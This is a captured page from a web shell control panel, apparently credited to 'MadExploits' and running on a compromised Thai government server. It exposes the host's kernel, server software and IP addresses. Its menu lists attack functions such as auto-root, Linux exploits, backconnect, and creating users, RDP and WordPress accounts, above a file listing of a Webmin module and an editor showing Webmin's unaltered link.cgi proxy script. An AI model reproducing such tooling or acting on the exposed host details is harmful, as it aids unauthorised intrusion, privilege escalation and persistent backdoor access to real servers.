Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
servers /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.63
KB
-rw-r--r--
acl_security.pl
2.46
KB
-rwxr-xr-x
auto.pl
2.85
KB
-rwxr-xr-x
backup_config.pl
625
B
-rwxr-xr-x
cgi_args.pl
260
B
-rwxr-xr-x
config
140
B
-rw-r--r--
config-debian-linux
174
B
-rw-r--r--
config-redhat-linux
180
B
-rw-r--r--
config-syno-linux
140
B
-rw-r--r--
config.info
977
B
-rw-r--r--
config.info.ar
1.5
KB
-rw-r--r--
config.info.ca
1.15
KB
-rw-r--r--
config.info.ca.UTF-8
1.17
KB
-rw-r--r--
config.info.cz
401
B
-rw-r--r--
config.info.cz.UTF-8
421
B
-rw-r--r--
config.info.de
1.16
KB
-rw-r--r--
config.info.de.UTF-8
1.16
KB
-rw-r--r--
config.info.es
517
B
-rw-r--r--
config.info.es.UTF-8
517
B
-rw-r--r--
config.info.fr
525
B
-rw-r--r--
config.info.fr.UTF-8
525
B
-rw-r--r--
config.info.hu
139
B
-rw-r--r--
config.info.hu.UTF-8
147
B
-rw-r--r--
config.info.it
1.03
KB
-rw-r--r--
config.info.it.UTF-8
1.03
KB
-rw-r--r--
config.info.ko_KR.UTF-8
983
B
-rw-r--r--
config.info.ko_KR.euc
773
B
-rw-r--r--
config.info.ms
427
B
-rw-r--r--
config.info.ms.UTF-8
427
B
-rw-r--r--
config.info.ms_MY
934
B
-rw-r--r--
config.info.ms_MY.UTF-8
934
B
-rw-r--r--
config.info.nl
979
B
-rw-r--r--
config.info.nl.UTF-8
979
B
-rw-r--r--
config.info.no
961
B
-rw-r--r--
config.info.no.UTF-8
961
B
-rw-r--r--
config.info.pl
1014
B
-rw-r--r--
config.info.pl.UTF-8
1.02
KB
-rw-r--r--
config.info.pt_BR
445
B
-rw-r--r--
config.info.pt_BR.UTF-8
460
B
-rw-r--r--
config.info.ru.UTF-8
1.48
KB
-rw-r--r--
config.info.ru_RU
955
B
-rw-r--r--
config.info.ru_RU.UTF-8
1.48
KB
-rw-r--r--
config.info.ru_SU
955
B
-rw-r--r--
config.info.sk
424
B
-rw-r--r--
config.info.sk.UTF-8
445
B
-rw-r--r--
config.info.sv
96
B
-rw-r--r--
config.info.sv.UTF-8
99
B
-rw-r--r--
config.info.tr
456
B
-rw-r--r--
config.info.zh_CN
64
B
-rw-r--r--
config.info.zh_CN.UTF-8
81
B
-rw-r--r--
config.info.zh_TW.Big5
46
B
-rw-r--r--
config.info.zh_TW.UTF-8
60
B
-rw-r--r--
config_info.pl
211
B
-rwxr-xr-x
defaultacl
88
B
-rw-r--r--
delete_servs.cgi
784
B
-rwxr-xr-x
edit_auto.cgi
2.27
KB
-rwxr-xr-x
edit_serv.cgi
4.77
KB
-rwxr-xr-x
find.cgi
1.37
KB
-rwxr-xr-x
index.cgi
5.42
KB
-rwxr-xr-x
link.cgi
6.84
KB
-rwxr-xr-x
log_parser.pl
790
B
-rwxr-xr-x
login.cgi
388
B
-rwxr-xr-x
logout.cgi
287
B
-rwxr-xr-x
module.info
178
B
-rw-r--r--
module.info.ar
133
B
-rw-r--r--
module.info.ca
116
B
-rw-r--r--
module.info.ca.UTF-8
132
B
-rw-r--r--
module.info.cz
30
B
-rw-r--r--
module.info.cz.UTF-8
37
B
-rw-r--r--
module.info.de
121
B
-rw-r--r--
module.info.de.UTF-8
133
B
-rw-r--r--
module.info.es
36
B
-rw-r--r--
module.info.es.UTF-8
43
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.fr.UTF-8
40
B
-rw-r--r--
module.info.hu
25
B
-rw-r--r--
module.info.hu.UTF-8
31
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.UTF-8
39
B
-rw-r--r--
module.info.ja_JP.UTF-8
43
B
-rw-r--r--
module.info.ja_JP.euc
35
B
-rw-r--r--
module.info.ko_KR.UTF-8
41
B
-rw-r--r--
module.info.ko_KR.euc
34
B
-rw-r--r--
module.info.ms
30
B
-rw-r--r--
module.info.ms.UTF-8
36
B
-rw-r--r--
module.info.ms_MY
116
B
-rw-r--r--
module.info.ms_MY.UTF-8
128
B
-rw-r--r--
module.info.nl
29
B
-rw-r--r--
module.info.nl.UTF-8
35
B
-rw-r--r--
module.info.no
23
B
-rw-r--r--
module.info.no.UTF-8
29
B
-rw-r--r--
module.info.pl
24
B
-rw-r--r--
module.info.pl.UTF-8
30
B
-rw-r--r--
module.info.pt
35
B
-rw-r--r--
module.info.pt.UTF-8
42
B
-rw-r--r--
module.info.pt_BR
40
B
-rw-r--r--
module.info.pt_BR.UTF-8
48
B
-rw-r--r--
module.info.ru.UTF-8
36
B
-rw-r--r--
module.info.ru_RU
26
B
-rw-r--r--
module.info.ru_RU.UTF-8
39
B
-rw-r--r--
module.info.ru_SU
26
B
-rw-r--r--
module.info.sk
31
B
-rw-r--r--
module.info.sk.UTF-8
37
B
-rw-r--r--
module.info.sv
27
B
-rw-r--r--
module.info.sv.UTF-8
33
B
-rw-r--r--
module.info.tr
34
B
-rw-r--r--
module.info.zh_CN
28
B
-rw-r--r--
module.info.zh_TW.Big5
34
B
-rw-r--r--
save_auto.cgi
2.27
KB
-rwxr-xr-x
save_serv.cgi
3.26
KB
-rwxr-xr-x
servers-lib.pl
14.91
KB
-rwxr-xr-x
uninstall.pl
209
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : link.cgi
#!/usr/bin/perl # link.cgi # Forward the URL from path_info on to another webmin server if ($ENV{'PATH_INFO'} =~ /^\/(\d+)\/([a-zA-Z0-9\-\/]+)\.(jar|class|gif|png)$/) { # Allow fetches of Java classes and images without a referer header, # as Java sometimes doesn't provide these $trust_unknown_referers = 1; } use strict; use warnings; require './servers-lib.pl'; our (%text, %gconfig, %access, $module_name, %tconfig); $ENV{'PATH_INFO'} =~ /^\/(\d+)(.*)$/ || &error("Bad PATH_INFO : $ENV{'PATH_INFO'}"); my $id = $1; my $path = $2 ? &urlize("$2") : '/'; $path =~ s/^%2F/\//; if ($ENV{'QUERY_STRING'}) { $path .= '?'.$ENV{'QUERY_STRING'}; } elsif (@ARGV) { $path .= '?'.join('+', @ARGV); } my $s = &get_server($id); &can_use_server($s) || &error($text{'link_ecannot'}); $access{'links'} || &error($text{'link_ecannot'}); my $url = "$gconfig{'webprefix'}/$module_name/link.cgi/$s->{'id'}"; $| = 1; my $meth = $ENV{'REQUEST_METHOD'}; my %miniserv; &get_miniserv_config(\%miniserv); my ($user, $pass); if ($s->{'autouser'}) { # Login is variable .. check if we have it yet if ($ENV{'HTTP_COOKIE'} =~ /$id=(\S+)/) { # Yes - set the login and password to use ($user, $pass) = split(/:/, &decode_base64("$1")); } else { # No - need to display a login form &ui_print_header(undef, $text{'login_title'}, ""); print &text('login_desc', "<tt>$s->{'host'}</tt>"),"<p>\n"; print &ui_form_start( "$gconfig{'webprefix'}/$module_name/login.cgi", "post"); print &ui_hidden("id", $id); print &ui_table_start($text{'login_header'}, undef, 2); print &ui_table_row($text{'login_user'}, &ui_textbox("user", undef, 20)); print &ui_table_row($text{'login_pass'}, &ui_password("pass", undef, 20)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'login_login'} ] ]); &ui_print_footer("", $text{'index_return'}); exit; } } elsif ($s->{'sameuser'}) { # Login comes from this server $user = $main::remote_user; defined($main::remote_pass) || &error($text{'login_esame'}); $pass = $main::remote_pass; } else { # Login is fixed $user = $s->{'user'}; $pass = $s->{'pass'}; } # Connect to the server my $con = &make_http_connection($s->{'ip'} || $s->{'host'}, $s->{'port'}, $s->{'ssl'}, $meth, $path, undef, undef, { 'host' => $s->{'host'}, 'nocheckhost' => !$s->{'checkssl'} }); &error($con) if (!ref($con)); # Send request headers &write_http_connection($con, "Host: $s->{'host'}\r\n"); &write_http_connection($con, "User-agent: Webmin\r\n"); my $auth = &encode_base64("$user:$pass"); $auth =~ s/\n//g; &write_http_connection($con, "Authorization: basic $auth\r\n"); my ($http_host, $http_port); if ($ENV{'HTTP_HOST'} =~ /^(\S+):(\d+)$/) { # Browser supplies port $http_host = $1; $http_port = $2; } elsif ($ENV{'HTTP_HOST'}) { # Browser only supplies host $http_host = $ENV{'HTTP_HOST'}; $http_port = $ENV{'SERVER_PORT'} || $miniserv{'port'} || 80; } else { # Web server supplies host and port $http_host = $ENV{'SERVER_NAME'}; $http_port = $ENV{'SERVER_PORT'}; } my $http_prot = $ENV{'HTTPS'} eq "ON" ? "https" : "http"; &write_http_connection($con, sprintf( "Webmin-servers: %s://%s:%d%s/%s\n", $http_prot, $http_host, $http_port, $gconfig{'webprefix'}, $tconfig{'inframe'} ? "" : "$module_name/")); &write_http_connection($con, sprintf( "Webmin-path: %s://%s:%d%s/%s/link.cgi%s\n", $http_prot, $http_host, $http_port, $gconfig{'webprefix'}, $module_name, $ENV{'PATH_INFO'})); if ($ENV{'HTTP_WEBMIN_PATH'}) { &write_http_connection($con, sprintf( "Complete-webmin-path: %s%s\n", $ENV{'HTTP_WEBMIN_PATH'})); } else { &write_http_connection($con, sprintf( "Complete-webmin-path: %s://%s:%d%s/%s/link.cgi%s\n", $http_prot, $http_host, $http_port, $gconfig{'webprefix'}, $module_name, $ENV{'PATH_INFO'})); } my $cl = $ENV{'CONTENT_LENGTH'}; &write_http_connection($con, "Content-length: $cl\r\n") if ($cl); &write_http_connection($con, "Content-type: $ENV{'CONTENT_TYPE'}\r\n") if ($ENV{'CONTENT_TYPE'}); my $ref = $ENV{'HTTP_REFERER'}; if ($ref && $ref =~ /^.*\Q$url\E(.*)/) { my $rurl = ($s->{'ssl'} ? 'https' : 'http').'://'.$s->{'host'}. ':'.$s->{'port'}.$1; &write_http_connection($con, "Referer: $rurl\r\n"); } &write_http_connection($con, "\r\n"); my $post; if ($cl) { &read_fully(\*STDIN, \$post, $cl); &write_http_connection($con, $post); } # read back the headers my $dummy = &read_http_connection($con); my (%header, $headers); while(1) { my $headline; ($headline = &read_http_connection($con)) =~ s/\r|\n//g; last if (!$headline); $headline =~ /^(\S+):\s+(.*)$/ || &error("Bad header"); $header{lc($1)} = $2; $headers .= $headline."\n"; } my $defport = $s->{'ssl'} ? 443 : 80; if ($header{'location'} && ($header{'location'} =~ /^(http|https):\/\/$s->{'host'}:$s->{'port'}(.*)$/|| $header{'location'} =~ /^(http|https):\/\/$s->{'host'}(.*)/ && $s->{'port'} == $defport)) { # fix a redirect local $gconfig{'webprefixnoredir'} = 1; # We've already added # webprefix, so no need # to add it again &redirect("$url$2"); exit; } elsif ($header{'www-authenticate'}) { # Invalid login if ($s->{'autouser'}) { print "Set-Cookie: $id=; path=/\n"; &error(&text('link_eautologin', $s->{'host'}, "$gconfig{'webprefix'}/$module_name/link.cgi/$id/")); } else { &error(&text('link_elogin', $s->{'host'}, $user)); } } else { # just output the headers print $headers,"\n"; } # read back the rest of the page if ($header{'content-type'} =~ /text\/html/ && !$header{'x-no-links'}) { # Fix up HTML while($_ = &read_http_connection($con)) { s/src='(\/[^']*)'/src='$url$1'/gi; s/src="(\/[^"]*)"/src="$url$1"/gi; s/src=(\/[^ "'>]*)/src=$url$1/gi; s/href='(\/[^']*)'/href='$url$1'/gi; s/href="(\/[^"]*)"/href="$url$1"/gi; s/href=(\/[^ >"']*)/href=$url$1/gi; s/action='(\/[^']*)'/action='$url$1'/gi; s/action="(\/[^"]*)"/action="$url$1"/gi; s/action=(\/[^ "'>]*)/action=$url$1/gi; s/\.location\s*=\s*'(\/[^']*)'/.location='$url$1'/gi; s/\.location\s*=\s*"(\/[^']*)"/.location="$url$1"/gi; s/window.open\("(\/[^"]*)"/window.open\("$url$1"/gi; s/name=return\s+value="(\/[^"]*)"/name=return value="$url$1"/gi; s/param\s+name=config\s+value='(\/[^']*)'/param name=config value='$url$1'/gi; s/param\s+name=config\s+value="(\/[^']*)"/param name=config value="$url$1"/gi; s/param\s+name=config\s+value=(\/[^']*)/param name=config value=$url$1/gi; print; if (/<applet.*archive=file.jar.*>/) { # Remote webmin file manager applet - give it the # session ID on *this* system print "<param name=session value=\"$main::session_id\">\n"; } } } elsif ($header{'content-type'} =~ /text\/css/ && !$header{'x-no-links'}) { # Fix up CSS while($_ = &read_http_connection($con)) { s/url\("(\/[^"]*)"\)/url\("$url$1"\)/gi; print; } } else { # Just pass through while(my $buf = &read_http_connection($con, 1024)) { print $buf; } } &close_http_connection($con);
Close